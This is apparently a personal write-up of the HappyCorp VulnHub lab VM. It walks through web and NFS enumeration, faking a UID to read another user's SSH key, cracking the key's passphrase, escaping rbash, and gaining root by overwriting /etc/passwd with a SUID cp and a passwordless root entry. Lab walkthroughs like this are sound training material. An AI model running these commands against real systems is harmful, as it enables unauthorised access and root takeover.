Here’s my write-up for HappyCorp, a VulnHub box created by Zayotic.
Write-up
The description for this box states the following:
+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
| Name: Happycorp | IP: DHCP |
| Date: 2019-March-05 | Goal: Get Root! |
| Author: Zayotic | Difficultly: ??? |
+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
| |
| + Average beginner/intermediate VM, only a few twists |
| + May find it easy/hard (depends on YOUR background) |
| + ...also which way you attack the box |
| |
| + It SHOULD work on VMware |
| + REBOOT the VM if you CHANGE network modes |
| + Fusion users, you'll need to retry when importing |
| |
| |
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - -+
| |
| --[[~~Enjoy. Have fun. Happy Hacking.~~]]-- |
| |
+---------------------------------------------------------+
Once I had the VM setup and running I found out the IP of the box (using arp-scan
) and ran nmap
to see what services were running:
kali@kali:~/Documents/vulnhub/happycorp1$ nmap -sC -sV -oA ports 192.168.1.189
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-09 09:55 EDT
Nmap scan report for happycorp (192.168.1.189)
Host is up (0.00024s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 81:ea:90:61:be:0a:f2:8d:c3:4e:41:03:f0:07:8b:93 (RSA)
| 256 f6:07:4a:7e:1d:d8:cf:a7:cc:fd:fb:b3:18:ce:b3:af (ECDSA)
|_ 256 64:9a:52:7b:75:b7:92:0d:4b:78:71:26:65:37:6c:bd (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin.php
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Happycorp
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100003 3,4 2049/udp nfs
| 100003 3,4 2049/udp6 nfs
| 100005 1,2,3 41864/udp6 mountd
| 100005 1,2,3 50515/tcp6 mountd
| 100005 1,2,3 55840/udp mountd
| 100005 1,2,3 58915/tcp mountd
| 100021 1,3,4 32975/udp6 nlockmgr
| 100021 1,3,4 44287/tcp nlockmgr
| 100021 1,3,4 44423/tcp6 nlockmgr
| 100021 1,3,4 58961/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The first thing I took a look at was the http server running on port 80:
“We’re in the business of helping spread happiness worldwide”. Cute 🤗.
Scrolling down the page a bit I came across some interesting information:
Heather Eillis - heather@happycorp.local
Carolyn Vargas - carolyn@happycorp.local
Rodney Douglas - rodney@happycorp.local
Jennifer Richardson - jennifer@happycorp.local
I noted down these names and e-mail addresses. I also added happycorp.local
to my /etc/hosts
incase anything was using happycorp.local
to resolve something.
I also came across a contact form but this didn’t look to be hooked up:
Whilst I was clicking around I had nikto
and dirb
running in the background. Once I had finished looking around I took a look at what dirb
and nikto
had found.
kali@kali:~/Documents/vulnhub/happycorp1$ nikto -host http://happycorp.local
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.189
+ Target Hostname: happycorp.local
+ Target Port: 80
+ Start Time: 2020-03-09 10:00:44 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
...
+ OSVDB-3092: /admin.php: This might be interesting...
...
kali@kali:~$ dirb http://happycorp.local -X .php,.html
-----------------
DIRB v2.22
By The Dark Raver
-----------------
...
+ http://happycorp.local/admin.php (CODE:200|SIZE:469)
+ http://happycorp.local/blog.html (CODE:200|SIZE:22163)
+ http://happycorp.local/cms.php (CODE:302|SIZE:337)
+ http://happycorp.local/index.html (CODE:200|SIZE:34853)
Both nikto
and dirb
found admin.php
, and dirb
also found cms.php
but I imagined (given the 302) that you needed a session to view this page.
I took a look at the page source and found a helpful bit of information left by Rodney:
I went with the presumption that the admin credentials were hardcoded in admin.php
. I tried the usual admin:admin
, waited a few seconds (which I thought was odd, it shouldn’t be this slow, especially given the comment) and was greeted with an interesting error message:
Did this mean that I could enumerate usernames? I tried some of the names I captured before (heather, carolyn, rodney and jennifer). Attemping to log in with “heather” returned a different error message this time:
After trying several passwords I set up hydra
to brute force this login form. I gave it a couple of minutes, leaving hydra
to do its thing, and given that I was now at a dead-end, I moved onto NFS running on port 2049.
Running showmount
returned the NFS server’s export list, which only contained one thing:
kali@kali:~$ sudo showmount -e 192.168.1.189
Export list for 192.168.1.189:
/home/karl *
This exposes user karl
. I created an empty folder and mounted the share:
kali@kali:~$ mkdir /tmp/NFS
kali@kali:~$ sudo mount 192.168.1.189:/ /tmp/NFS
kali@kali:~$ cd /tmp/NFS/home/karl
kali@kali:/tmp/NFS/home/karl$ ls -al
total 28
drwxr-xr-x 3 1001 1001 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 4 2019 ..
lrwxrwxrwx 1 root root 9 Mar 5 2019 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Mar 4 2019 .bash_logout
-rw-r--r-- 1 1001 1001 3538 Mar 5 2019 .bashrc
-rw------- 1 1001 1001 28 Mar 4 2019 .lesshst
-rw-r--r-- 1 1001 1001 675 Mar 4 2019 .profile
drwx------ 2 1001 1001 4096 Mar 5 2019 .ssh
I tried to cd
into .ssh
and got a permissions error, which made sense in my head… and then a few seconds later it didn’t make sense. Given my rudimentary knowledge of NFS I wondered how NFS enforces file permissions when you mount a share on a different machine, with a different set of users. Could this be messed with somehow? I did some research and came across this article which backed up my thinking:
If there are any files on the exported share that the user doesn’t have permission to read them then it might be possible to trick the NFS server to believe that the user account that tries to read the file is the owner of the file. This can be achieved by performing UID (User ID) manipulation.
I created a user on my machine named “karl” with the UID of 1001 and switched to karl
:
kali@kali:/tmp/NFS/home/karl$ su karl
$ ls -al
total 28
drwxr-xr-x 3 karl karl 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 4 2019 ..
lrwxrwxrwx 1 root root 9 Mar 5 2019 .bash_history -> /dev/null
-rw-r--r-- 1 karl karl 220 Mar 4 2019 .bash_logout
-rw-r--r-- 1 karl karl 3538 Mar 5 2019 .bashrc
-rw------- 1 karl karl 28 Mar 4 2019 .lesshst
-rw-r--r-- 1 karl karl 675 Mar 4 2019 .profile
drwx------ 2 karl karl 4096 Mar 5 2019 .ssh
The 1001
's had changed to karl
's. I tried to cd
into .ssh
again and it worked!
$ cd .ssh
$ ls -al
total 24
drwx------ 2 karl karl 4096 Mar 5 2019 .
drwxr-xr-x 3 karl karl 4096 Mar 5 2019 ..
-rw-r--r-- 1 karl karl 740 Mar 4 2019 authorized_keys
-rw------- 1 karl karl 3326 Mar 4 2019 id_rsa
-rw-r--r-- 1 karl karl 740 Mar 4 2019 id_rsa.pub
-rw-r--r-- 1 karl karl 18 Mar 4 2019 user.txt
This is also how I found the first flag:
$ cat user.txt
flag1{Z29vZGJveQ}
I planned to create another ssh keypair that I controlled and to add the public key to the authorized_keys
file in karl’s home directory, but I only had read permissions for the entire share. The next plan was to make a copy of the private key (id_rsa) and use that to ssh in as karl.
# As karl
$ cp id_rsa /home/kali/Documents/vulnhub/happycorp1
# Back to kali user
kali@kali:~/Documents/vulnhub/happycorp1$ ssh karl@192.168.1.189 -i id_rsa
Enter passphrase for key 'id_rsa':
The private key was protected by a password. Cracking this with john
thankfully didn’t take too long. I used ssh2john.py
to hash the private key and used the rockyou wordlist to crack the password:
kali@kali:~/Documents/vulnhub/happycorp1$ /usr/share/john/ssh2john.py id_rsa id_rsa.hash
I ssh’d in as karl and had to wait a few seconds whilst some weird error messages appeared:
After searching around for some explanation I came to a conclusion that either rbash or bash (or something) was stuck in a loop. I couldn’t exit but after some keyboard smashing (lots of Ctrl+C and exit
s) I got into a working rbash
shell. I couldn’t cd
around but that didn’t stop me from looking at files using their full path. I wanted to take a look at admin.php
to confirm my earlier presumptions about the hardcoded password (plus hydra still hadn’t found the password):
The slowness that I experienced when I was trying to log into the admin page now made sense given the sleep(3)
. The password also was hardcoded as suggested by Rodney’s comment.
I logged in to the admin page using the now retrieved credentials but I didn’t find much, just a few passive-aggressive remarks by Rodney in a barely functional CMS:
cms.php
:
home.php
:
backup.php
:
This avenue didn’t lead anywhere so I shifted my attention back to the access I had to karl’s account. I downloaded a copy of LinEnum to karl’s home directory but rbash didn’t let me run it. I backed out and ssh’d in again, this time using -t
to force a shell.
kali@kali:~/Documents/vulnhub/happycorp1$ ssh karl@192.168.1.189 -i id_rsa -t /bin/sh
This worked and I now had a basic unrestricted shell to mess around with. I ran LinEnum
which found that cp
had a SUID bit set:
I verified this by making a copy of /etc/shadow
and viewing it:
I couldn’t get access to root’s home directory, but given the location of the user flag I assumed the root flag would be somewhere similar, with the name “root.txt”:
Although I had the flag I still didn’t have full root-level access, so to finish the job I made a copy of /etc/passwd
and added the following line:
hacker::0:0:root:/root:/bin/bash
I had to copy the copy of /etc/passwd
to my local machine (using python -m http.server
) so that I could edit it. This was because cp
has the SUID bit set and the copy of /etc/passwd
has read-only root privilege so I couldn’t edit it on the box. Once I made the edit I used the same method to copy the edited /etc/passwd
file back to HappyCorp (python -m http.server
from my machine and wget
from the HappyCorp box) and overwrote the passwd file under /etc
:
$ cp passwd /etc/passwd
>> Home